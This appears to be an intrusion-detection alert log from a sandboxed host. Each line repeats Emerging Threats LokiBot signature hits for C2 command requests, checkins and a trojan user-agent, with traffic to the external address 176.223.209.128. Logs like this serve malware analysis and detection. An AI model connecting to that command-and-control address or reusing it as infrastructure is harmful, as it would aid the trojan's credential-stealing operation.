11/25/21-10:51:38.599425	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	50253	80	192.168.11.20	176.223.209.128
11/25/21-10:51:38.599425	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	50253	80	192.168.11.20	176.223.209.128
11/25/21-10:51:38.599425	TCP	2025381	ET TROJAN LokiBot Checkin	50253	80	192.168.11.20	176.223.209.128
11/25/21-10:51:38.599425	TCP	2024318	ET TROJAN LokiBot Request for C2 Commands Detected M2	50253	80	192.168.11.20	176.223.209.128
11/25/21-10:51:39.110252	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	50254	80	192.168.11.20	176.223.209.128
11/25/21-10:51:39.110252	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	50254	80	192.168.11.20	176.223.209.128
11/25/21-10:51:39.110252	TCP	2025381	ET TROJAN LokiBot Checkin	50254	80	192.168.11.20	176.223.209.128
11/25/21-10:51:39.110252	TCP	2024318	ET TROJAN LokiBot Request for C2 Commands Detected M2	50254	80	192.168.11.20	176.223.209.128
11/25/21-10:51:39.626539	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	50255	80	192.168.11.20	176.223.209.128
11/25/21-10:51:39.626539	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	50255	80	192.168.11.20	176.223.209.128
11/25/21-10:51:39.626539	TCP	2025381	ET TROJAN LokiBot Checkin	50255	80	192.168.11.20	176.223.209.128
11/25/21-10:51:39.626539	TCP	2024318	ET TROJAN LokiBot Request for C2 Commands Detected M2	50255	80	192.168.11.20	176.223.209.128
11/25/21-10:51:40.142402	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	50256	80	192.168.11.20	176.223.209.128
11/25/21-10:51:40.142402	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	50256	80	192.168.11.20	176.223.209.128
11/25/21-10:51:40.142402	TCP	2025381	ET TROJAN LokiBot Checkin	50256	80	192.168.11.20	176.223.209.128
11/25/21-10:51:40.142402	TCP	2024318	ET TROJAN LokiBot Request for C2 Commands Detected M2	50256	80	192.168.11.20	176.223.209.128
11/25/21-10:51:40.656007	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	50257	80	192.168.11.20	176.223.209.128
11/25/21-10:51:40.656007	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	50257	80	192.168.11.20	176.223.209.128
11/25/21-10:51:40.656007	TCP	2025381	ET TROJAN LokiBot Checkin	50257	80	192.168.11.20	176.223.209.128
11/25/21-10:51:40.656007	TCP	2024318	ET TROJAN LokiBot Request for C2 Commands Detected M2	50257	80	192.168.11.20	176.223.209.128
11/25/21-10:51:41.141474	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	50258	80	192.168.11.20	176.223.209.128
11/25/21-10:51:41.141474	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	50258	80	192.168.11.20	176.223.209.128
11/25/21-10:51:41.141474	TCP	2025381	ET TROJAN LokiBot Checkin	50258	80	192.168.11.20	176.223.209.128
11/25/21-10:51:41.141474	TCP	2024318	ET TROJAN LokiBot Request for C2 Commands Detected M2	50258	80	192.168.11.20	176.223.209.128
11/25/21-10:51:41.613563	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	50259	80	192.168.11.20	176.223.209.128
11/25/21-10:51:41.613563	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	50259	80	192.168.11.20	176.223.209.128
11/25/21-10:51:41.613563	TCP	2025381	ET TROJAN LokiBot Checkin	50259	80	192.168.11.20	176.223.209.128
11/25/21-10:51:41.613563	TCP	2024318	ET TROJAN LokiBot Request for C2 Commands Detected M2	50259	80	192.168.11.20	176.223.209.128
11/25/21-10:51:42.168918	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	50260	80	192.168.11.20	176.223.209.128
11/25/21-10:51:42.168918	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	50260	80	192.168.11.20	176.223.209.128
11/25/21-10:51:42.168918	TCP	2025381	ET TROJAN LokiBot Checkin	50260	80	192.168.11.20	176.223.209.128
11/25/21-10:51:42.168918	TCP	2024318	ET TROJAN LokiBot Request for C2 Commands Detected M2	50260	80	192.168.11.20	176.223.209.128
11/25/21-10:51:42.653882	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	50261	80	192.168.11.20	176.223.209.128
11/25/21-10:51:42.653882	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	50261	80	192.168.11.20	176.223.209.128
11/25/21-10:51:42.653882	TCP	2025381	ET TROJAN LokiBot Checkin	50261	80	192.168.11.20	176.223.209.128
11/25/21-10:51:42.653882	TCP	2024318	ET TROJAN LokiBot Request for C2 Commands Detected M2	50261	80	192.168.11.20	176.223.209.128
11/25/21-10:51:43.154212	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	50262	80	192.168.11.20	176.223.209.128
11/25/21-10:51:43.154212	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	50262	80	192.168.11.20	176.223.209.128
11/25/21-10:51:43.154212	TCP	2025381	ET TROJAN LokiBot Checkin	50262	80	192.168.11.20	176.223.209.128
11/25/21-10:51:43.154212	TCP	2024318	ET TROJAN LokiBot Request for C2 Commands Detected M2	50262	80	192.168.11.20	176.223.209.128
11/25/21-10:51:43.663133	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	50263	80	192.168.11.20	176.223.209.128
11/25/21-10:51:43.663133	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	50263	80	192.168.11.20	176.223.209.128
11/25/21-10:51:43.663133	TCP	2025381	ET TROJAN LokiBot Checkin	50263	80	192.168.11.20	176.223.209.128
11/25/21-10:51:43.663133	TCP	2024318	ET TROJAN LokiBot Request for C2 Commands Detected M2	50263	80	192.168.11.20	176.223.209.128
11/25/21-10:51:44.124896	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	50264	80	192.168.11.20	176.223.209.128
11/25/21-10:51:44.124896	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	50264	80	192.168.11.20	176.223.209.128
11/25/21-10:51:44.124896	TCP	2025381	ET TROJAN LokiBot Checkin	50264	80	192.168.11.20	176.223.209.128
11/25/21-10:51:44.124896	TCP	2024318	ET TROJAN LokiBot Request for C2 Commands Detected M2	50264	80	192.168.11.20	176.223.209.128
11/25/21-10:51:44.645263	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	50265	80	192.168.11.20	176.223.209.128
11/25/21-10:51:44.645263	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	50265	80	192.168.11.20	176.223.209.128
11/25/21-10:51:44.645263	TCP	2025381	ET TROJAN LokiBot Checkin	50265	80	192.168.11.20	176.223.209.128
11/25/21-10:51:44.645263	TCP	2024318	ET TROJAN LokiBot Request for C2 Commands Detected M2	50265	80	192.168.11.20	176.223.209.128
11/25/21-10:51:45.106868	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	50266	80	192.168.11.20	176.223.209.128
11/25/21-10:51:45.106868	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	50266	80	192.168.11.20	176.223.209.128
11/25/21-10:51:45.106868	TCP	2025381	ET TROJAN LokiBot Checkin	50266	80	192.168.11.20	176.223.209.128
11/25/21-10:51:45.106868	TCP	2024318	ET TROJAN LokiBot Request for C2 Commands Detected M2	50266	80	192.168.11.20	176.223.209.128
11/25/21-10:51:45.594589	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	50267	80	192.168.11.20	176.223.209.128
11/25/21-10:51:45.594589	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	50267	80	192.168.11.20	176.223.209.128
11/25/21-10:51:45.594589	TCP	2025381	ET TROJAN LokiBot Checkin	50267	80	192.168.11.20	176.223.209.128
11/25/21-10:51:45.594589	TCP	2024318	ET TROJAN LokiBot Request for C2 Commands Detected M2	50267	80	192.168.11.20	176.223.209.128
11/25/21-10:51:46.101808	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	50268	80	192.168.11.20	176.223.209.128
11/25/21-10:51:46.101808	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	50268	80	192.168.11.20	176.223.209.128
11/25/21-10:51:46.101808	TCP	2025381	ET TROJAN LokiBot Checkin	50268	80	192.168.11.20	176.223.209.128
11/25/21-10:51:46.101808	TCP	2024318	ET TROJAN LokiBot Request for C2 Commands Detected M2	50268	80	192.168.11.20	176.223.209.128
11/25/21-10:51:46.597646	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	50269	80	192.168.11.20	176.223.209.128
11/25/21-10:51:46.597646	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	50269	80	192.168.11.20	176.223.209.128
11/25/21-10:51:46.597646	TCP	2025381	ET TROJAN LokiBot Checkin	50269	80	192.168.11.20	176.223.209.128
11/25/21-10:51:46.597646	TCP	2024318	ET TROJAN LokiBot Request for C2 Commands Detected M2	50269	80	192.168.11.20	176.223.209.128
11/25/21-10:51:47.109619	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	50270	80	192.168.11.20	176.223.209.128
11/25/21-10:51:47.109619	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	50270	80	192.168.11.20	176.223.209.128
11/25/21-10:51:47.109619	TCP	2025381	ET TROJAN LokiBot Checkin	50270	80	192.168.11.20	176.223.209.128
11/25/21-10:51:47.109619	TCP	2024318	ET TROJAN LokiBot Request for C2 Commands Detected M2	50270	80	192.168.11.20	176.223.209.128
11/25/21-10:51:47.611890	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	50271	80	192.168.11.20	176.223.209.128
11/25/21-10:51:47.611890	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	50271	80	192.168.11.20	176.223.209.128
11/25/21-10:51:47.611890	TCP	2025381	ET TROJAN LokiBot Checkin	50271	80	192.168.11.20	176.223.209.128
11/25/21-10:51:47.611890	TCP	2024318	ET TROJAN LokiBot Request for C2 Commands Detected M2	50271	80	192.168.11.20	176.223.209.128
11/25/21-10:51:48.126751	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	50272	80	192.168.11.20	176.223.209.128
11/25/21-10:51:48.126751	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	50272	80	192.168.11.20	176.223.209.128
11/25/21-10:51:48.126751	TCP	2025381	ET TROJAN LokiBot Checkin	50272	80	192.168.11.20	176.223.209.128
11/25/21-10:51:48.126751	TCP	2024318	ET TROJAN LokiBot Request for C2 Commands Detected M2	50272	80	192.168.11.20	176.223.209.128
11/25/21-10:51:48.626427	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	50273	80	192.168.11.20	176.223.209.128
11/25/21-10:51:48.626427	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	50273	80	192.168.11.20	176.223.209.128
11/25/21-10:51:48.626427	TCP	2025381	ET TROJAN LokiBot Checkin	50273	80	192.168.11.20	176.223.209.128
11/25/21-10:51:48.626427	TCP	2024318	ET TROJAN LokiBot Request for C2 Commands Detected M2	50273	80	192.168.11.20	176.223.209.128
11/25/21-10:51:49.081962	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	50274	80	192.168.11.20	176.223.209.128
11/25/21-10:51:49.081962	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	50274	80	192.168.11.20	176.223.209.128
11/25/21-10:51:49.081962	TCP	2025381	ET TROJAN LokiBot Checkin	50274	80	192.168.11.20	176.223.209.128
11/25/21-10:51:49.081962	TCP	2024318	ET TROJAN LokiBot Request for C2 Commands Detected M2	50274	80	192.168.11.20	176.223.209.128
11/25/21-10:51:49.567233	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	50275	80	192.168.11.20	176.223.209.128
11/25/21-10:51:49.567233	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	50275	80	192.168.11.20	176.223.209.128
11/25/21-10:51:49.567233	TCP	2025381	ET TROJAN LokiBot Checkin	50275	80	192.168.11.20	176.223.209.128
11/25/21-10:51:49.567233	TCP	2024318	ET TROJAN LokiBot Request for C2 Commands Detected M2	50275	80	192.168.11.20	176.223.209.128
11/25/21-10:51:50.073434	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	50276	80	192.168.11.20	176.223.209.128
11/25/21-10:51:50.073434	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	50276	80	192.168.11.20	176.223.209.128
11/25/21-10:51:50.073434	TCP	2025381	ET TROJAN LokiBot Checkin	50276	80	192.168.11.20	176.223.209.128
11/25/21-10:51:50.073434	TCP	2024318	ET TROJAN LokiBot Request for C2 Commands Detected M2	50276	80	192.168.11.20	176.223.209.128
11/25/21-10:51:50.587694	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	50277	80	192.168.11.20	176.223.209.128
11/25/21-10:51:50.587694	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	50277	80	192.168.11.20	176.223.209.128
11/25/21-10:51:50.587694	TCP	2025381	ET TROJAN LokiBot Checkin	50277	80	192.168.11.20	176.223.209.128
11/25/21-10:51:50.587694	TCP	2024318	ET TROJAN LokiBot Request for C2 Commands Detected M2	50277	80	192.168.11.20	176.223.209.128
11/25/21-10:51:51.089071	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	50278	80	192.168.11.20	176.223.209.128
11/25/21-10:51:51.089071	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	50278	80	192.168.11.20	176.223.209.128
11/25/21-10:51:51.089071	TCP	2025381	ET TROJAN LokiBot Checkin	50278	80	192.168.11.20	176.223.209.128
11/25/21-10:51:51.089071	TCP	2024318	ET TROJAN LokiBot Request for C2 Commands Detected M2	50278	80	192.168.11.20	176.223.209.128
11/25/21-10:51:51.558423	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	50279	80	192.168.11.20	176.223.209.128
11/25/21-10:51:51.558423	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	50279	80	192.168.11.20	176.223.209.128
11/25/21-10:51:51.558423	TCP	2025381	ET TROJAN LokiBot Checkin	50279	80	192.168.11.20	176.223.209.128
11/25/21-10:51:51.558423	TCP	2024318	ET TROJAN LokiBot Request for C2 Commands Detected M2	50279	80	192.168.11.20	176.223.209.128
11/25/21-10:51:52.059238	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	50280	80	192.168.11.20	176.223.209.128
11/25/21-10:51:52.059238	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	50280	80	192.168.11.20	176.223.209.128
11/25/21-10:51:52.059238	TCP	2025381	ET TROJAN LokiBot Checkin	50280	80	192.168.11.20	176.223.209.128
11/25/21-10:51:52.059238	TCP	2024318	ET TROJAN LokiBot Request for C2 Commands Detected M2	50280	80	192.168.11.20	176.223.209.128
11/25/21-10:51:52.528089	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	50281	80	192.168.11.20	176.223.209.128
11/25/21-10:51:52.528089	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	50281	80	192.168.11.20	176.223.209.128
11/25/21-10:51:52.528089	TCP	2025381	ET TROJAN LokiBot Checkin	50281	80	192.168.11.20	176.223.209.128
11/25/21-10:51:52.528089	TCP	2024318	ET TROJAN LokiBot Request for C2 Commands Detected M2	50281	80	192.168.11.20	176.223.209.128
11/25/21-10:51:53.007933	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	50282	80	192.168.11.20	176.223.209.128
11/25/21-10:51:53.007933	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	50282	80	192.168.11.20	176.223.209.128
11/25/21-10:51:53.007933	TCP	2025381	ET TROJAN LokiBot Checkin	50282	80	192.168.11.20	176.223.209.128
11/25/21-10:51:53.007933	TCP	2024318	ET TROJAN LokiBot Request for C2 Commands Detected M2	50282	80	192.168.11.20	176.223.209.128
11/25/21-10:51:53.539837	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	50283	80	192.168.11.20	176.223.209.128
11/25/21-10:51:53.539837	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	50283	80	192.168.11.20	176.223.209.128
11/25/21-10:51:53.539837	TCP	2025381	ET TROJAN LokiBot Checkin	50283	80	192.168.11.20	176.223.209.128
11/25/21-10:51:53.539837	TCP	2024318	ET TROJAN LokiBot Request for C2 Commands Detected M2	50283	80	192.168.11.20	176.223.209.128
11/25/21-10:51:54.048854	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	50284	80	192.168.11.20	176.223.209.128
11/25/21-10:51:54.048854	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	50284	80	192.168.11.20	176.223.209.128
11/25/21-10:51:54.048854	TCP	2025381	ET TROJAN LokiBot Checkin	50284	80	192.168.11.20	176.223.209.128
11/25/21-10:51:54.048854	TCP	2024318	ET TROJAN LokiBot Request for C2 Commands Detected M2	50284	80	192.168.11.20	176.223.209.128
11/25/21-10:51:54.571504	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	50285	80	192.168.11.20	176.223.209.128
11/25/21-10:51:54.571504	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	50285	80	192.168.11.20	176.223.209.128
11/25/21-10:51:54.571504	TCP	2025381	ET TROJAN LokiBot Checkin	50285	80	192.168.11.20	176.223.209.128
11/25/21-10:51:54.571504	TCP	2024318	ET TROJAN LokiBot Request for C2 Commands Detected M2	50285	80	192.168.11.20	176.223.209.128
11/25/21-10:51:55.074582	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	50286	80	192.168.11.20	176.223.209.128
11/25/21-10:51:55.074582	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	50286	80	192.168.11.20	176.223.209.128
11/25/21-10:51:55.074582	TCP	2025381	ET TROJAN LokiBot Checkin	50286	80	192.168.11.20	176.223.209.128
11/25/21-10:51:55.074582	TCP	2024318	ET TROJAN LokiBot Request for C2 Commands Detected M2	50286	80	192.168.11.20	176.223.209.128
11/25/21-10:51:55.507302	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	50287	80	192.168.11.20	176.223.209.128
11/25/21-10:51:55.507302	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	50287	80	192.168.11.20	176.223.209.128
11/25/21-10:51:55.507302	TCP	2025381	ET TROJAN LokiBot Checkin	50287	80	192.168.11.20	176.223.209.128
11/25/21-10:51:55.507302	TCP	2024318	ET TROJAN LokiBot Request for C2 Commands Detected M2	50287	80	192.168.11.20	176.223.209.128
11/25/21-10:51:56.038112	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	50288	80	192.168.11.20	176.223.209.128
11/25/21-10:51:56.038112	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	50288	80	192.168.11.20	176.223.209.128
11/25/21-10:51:56.038112	TCP	2025381	ET TROJAN LokiBot Checkin	50288	80	192.168.11.20	176.223.209.128
11/25/21-10:51:56.038112	TCP	2024318	ET TROJAN LokiBot Request for C2 Commands Detected M2	50288	80	192.168.11.20	176.223.209.128
11/25/21-10:51:56.542012	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	50289	80	192.168.11.20	176.223.209.128
11/25/21-10:51:56.542012	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	50289	80	192.168.11.20	176.223.209.128
11/25/21-10:51:56.542012	TCP	2025381	ET TROJAN LokiBot Checkin	50289	80	192.168.11.20	176.223.209.128
11/25/21-10:51:56.542012	TCP	2024318	ET TROJAN LokiBot Request for C2 Commands Detected M2	50289	80	192.168.11.20	176.223.209.128
11/25/21-10:51:57.052498	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	50290	80	192.168.11.20	176.223.209.128
11/25/21-10:51:57.052498	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	50290	80	192.168.11.20	176.223.209.128
11/25/21-10:51:57.052498	TCP	2025381	ET TROJAN LokiBot Checkin	50290	80	192.168.11.20	176.223.209.128
11/25/21-10:51:57.052498	TCP	2024318	ET TROJAN LokiBot Request for C2 Commands Detected M2	50290	80	192.168.11.20	176.223.209.128
11/25/21-10:51:57.572349	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	50291	80	192.168.11.20	176.223.209.128
11/25/21-10:51:57.572349	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	50291	80	192.168.11.20	176.223.209.128
11/25/21-10:51:57.572349	TCP	2025381	ET TROJAN LokiBot Checkin	50291	80	192.168.11.20	176.223.209.128
11/25/21-10:51:57.572349	TCP	2024318	ET TROJAN LokiBot Request for C2 Commands Detected M2	50291	80	192.168.11.20	176.223.209.128
11/25/21-10:51:58.081695	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	50292	80	192.168.11.20	176.223.209.128
11/25/21-10:51:58.081695	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	50292	80	192.168.11.20	176.223.209.128
11/25/21-10:51:58.081695	TCP	2025381	ET TROJAN LokiBot Checkin	50292	80	192.168.11.20	176.223.209.128
11/25/21-10:51:58.081695	TCP	2024318	ET TROJAN LokiBot Request for C2 Commands Detected M2	50292	80	192.168.11.20	176.223.209.128
11/25/21-10:51:58.603737	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	50293	80	192.168.11.20	176.223.209.128
11/25/21-10:51:58.603737	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	50293	80	192.168.11.20	176.223.209.128
11/25/21-10:51:58.603737	TCP	2025381	ET TROJAN LokiBot Checkin	50293	80	192.168.11.20	176.223.209.128
11/25/21-10:51:58.603737	TCP	2024318	ET TROJAN LokiBot Request for C2 Commands Detected M2	50293	80	192.168.11.20	176.223.209.128
11/25/21-10:51:59.123735	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	50294	80	192.168.11.20	176.223.209.128
11/25/21-10:51:59.123735	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	50294	80	192.168.11.20	176.223.209.128
11/25/21-10:51:59.123735	TCP	2025381	ET TROJAN LokiBot Checkin	50294	80	192.168.11.20	176.223.209.128
11/25/21-10:51:59.123735	TCP	2024318	ET TROJAN LokiBot Request for C2 Commands Detected M2	50294	80	192.168.11.20	176.223.209.128
11/25/21-10:51:59.583120	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	50295	80	192.168.11.20	176.223.209.128
11/25/21-10:51:59.583120	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	50295	80	192.168.11.20	176.223.209.128
11/25/21-10:51:59.583120	TCP	2025381	ET TROJAN LokiBot Checkin	50295	80	192.168.11.20	176.223.209.128
11/25/21-10:51:59.583120	TCP	2024318	ET TROJAN LokiBot Request for C2 Commands Detected M2	50295	80	192.168.11.20	176.223.209.128
11/25/21-10:52:00.084926	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	50296	80	192.168.11.20	176.223.209.128
11/25/21-10:52:00.084926	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	50296	80	192.168.11.20	176.223.209.128
11/25/21-10:52:00.084926	TCP	2025381	ET TROJAN LokiBot Checkin	50296	80	192.168.11.20	176.223.209.128
11/25/21-10:52:00.084926	TCP	2024318	ET TROJAN LokiBot Request for C2 Commands Detected M2	50296	80	192.168.11.20	176.223.209.128
11/25/21-10:52:00.618989	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	50297	80	192.168.11.20	176.223.209.128
11/25/21-10:52:00.618989	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	50297	80	192.168.11.20	176.223.209.128
11/25/21-10:52:00.618989	TCP	2025381	ET TROJAN LokiBot Checkin	50297	80	192.168.11.20	176.223.209.128
11/25/21-10:52:00.618989	TCP	2024318	ET TROJAN LokiBot Request for C2 Commands Detected M2	50297	80	192.168.11.20	176.223.209.128
11/25/21-10:52:01.143885	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	50298	80	192.168.11.20	176.223.209.128
11/25/21-10:52:01.143885	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	50298	80	192.168.11.20	176.223.209.128
11/25/21-10:52:01.143885	TCP	2025381	ET TROJAN LokiBot Checkin	50298	80	192.168.11.20	176.223.209.128
11/25/21-10:52:01.143885	TCP	2024318	ET TROJAN LokiBot Request for C2 Commands Detected M2	50298	80	192.168.11.20	176.223.209.128
11/25/21-10:52:01.658061	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	50299	80	192.168.11.20	176.223.209.128
11/25/21-10:52:01.658061	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	50299	80	192.168.11.20	176.223.209.128
11/25/21-10:52:01.658061	TCP	2025381	ET TROJAN LokiBot Checkin	50299	80	192.168.11.20	176.223.209.128
11/25/21-10:52:01.658061	TCP	2024318	ET TROJAN LokiBot Request for C2 Commands Detected M2	50299	80	192.168.11.20	176.223.209.128
11/25/21-10:52:02.188969	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	50300	80	192.168.11.20	176.223.209.128
11/25/21-10:52:02.188969	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	50300	80	192.168.11.20	176.223.209.128
11/25/21-10:52:02.188969	TCP	2025381	ET TROJAN LokiBot Checkin	50300	80	192.168.11.20	176.223.209.128
11/25/21-10:52:02.188969	TCP	2024318	ET TROJAN LokiBot Request for C2 Commands Detected M2	50300	80	192.168.11.20	176.223.209.128
11/25/21-10:52:02.707521	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	50301	80	192.168.11.20	176.223.209.128
11/25/21-10:52:02.707521	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	50301	80	192.168.11.20	176.223.209.128
11/25/21-10:52:02.707521	TCP	2025381	ET TROJAN LokiBot Checkin	50301	80	192.168.11.20	176.223.209.128
11/25/21-10:52:02.707521	TCP	2024318	ET TROJAN LokiBot Request for C2 Commands Detected M2	50301	80	192.168.11.20	176.223.209.128
11/25/21-10:52:03.225980	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	50302	80	192.168.11.20	176.223.209.128
11/25/21-10:52:03.225980	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	50302	80	192.168.11.20	176.223.209.128
11/25/21-10:52:03.225980	TCP	2025381	ET TROJAN LokiBot Checkin	50302	80	192.168.11.20	176.223.209.128
11/25/21-10:52:03.225980	TCP	2024318	ET TROJAN LokiBot Request for C2 Commands Detected M2	50302	80	192.168.11.20	176.223.209.128
11/25/21-10:52:03.735458	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	50303	80	192.168.11.20	176.223.209.128
11/25/21-10:52:03.735458	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	50303	80	192.168.11.20	176.223.209.128
11/25/21-10:52:03.735458	TCP	2025381	ET TROJAN LokiBot Checkin	50303	80	192.168.11.20	176.223.209.128
11/25/21-10:52:03.735458	TCP	2024318	ET TROJAN LokiBot Request for C2 Commands Detected M2	50303	80	192.168.11.20	176.223.209.128
11/25/21-10:52:04.214606	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	50304	80	192.168.11.20	176.223.209.128
11/25/21-10:52:04.214606	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	50304	80	192.168.11.20	176.223.209.128
11/25/21-10:52:04.214606	TCP	2025381	ET TROJAN LokiBot Checkin	50304	80	192.168.11.20	176.223.209.128
11/25/21-10:52:04.214606	TCP	2024318	ET TROJAN LokiBot Request for C2 Commands Detected M2	50304	80	192.168.11.20	176.223.209.128
11/25/21-10:52:04.684538	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	50305	80	192.168.11.20	176.223.209.128
11/25/21-10:52:04.684538	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	50305	80	192.168.11.20	176.223.209.128
11/25/21-10:52:04.684538	TCP	2025381	ET TROJAN LokiBot Checkin	50305	80	192.168.11.20	176.223.209.128
11/25/21-10:52:04.684538	TCP	2024318	ET TROJAN LokiBot Request for C2 Commands Detected M2	50305	80	192.168.11.20	176.223.209.128
11/25/21-10:52:05.176481	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	50306	80	192.168.11.20	176.223.209.128
11/25/21-10:52:05.176481	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	50306	80	192.168.11.20	176.223.209.128
11/25/21-10:52:05.176481	TCP	2025381	ET TROJAN LokiBot Checkin	50306	80	192.168.11.20	176.223.209.128
11/25/21-10:52:05.176481	TCP	2024318	ET TROJAN LokiBot Request for C2 Commands Detected M2	50306	80	192.168.11.20	176.223.209.128
11/25/21-10:52:05.687914	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	50307	80	192.168.11.20	176.223.209.128
11/25/21-10:52:05.687914	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	50307	80	192.168.11.20	176.223.209.128
